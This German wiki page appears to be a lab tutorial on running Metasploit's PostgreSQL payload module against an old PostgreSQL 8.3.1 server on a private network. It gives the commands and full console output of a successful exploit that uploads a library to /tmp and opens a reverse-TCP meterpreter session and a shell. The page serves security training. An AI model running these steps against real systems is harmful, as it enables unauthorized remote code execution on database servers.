Metasploit postgres payload

Aus Xinux Wiki
Zur Navigation springen Zur Suche springen

Exploit laden

  • use exploit/linux/postgres/postgres_payload
Wenn schon eingestellt sollte reverse_tcp automatisch geladen werden

[*] Using configured payload linux/x86/meterpreter/reverse_tcp

  • set RHOST 10.0.10.105

Erfolgreicher Exploit

  • exploit
[*] Started reverse TCP handler on 10.0.10.101:4444 
[*] 10.0.10.105:5432 - PostgreSQL 8.3.1 on i486-pc-linux-gnu, compiled by GCC cc (GCC) 4.2.3 (Ubuntu 4.2.3-2ubuntu4)
[*] Uploaded as /tmp/OetBcDLo.so, should be cleaned up automatically
[*] Sending stage (984904 bytes) to 10.0.10.105
[*] Meterpreter session 2 opened (10.0.10.101:4444 -> 10.0.10.105:40172) at 2021-06-25 06:33:53 +0200
  • meterpreter >

Wenn man eine shell will

  • meterpreter > shell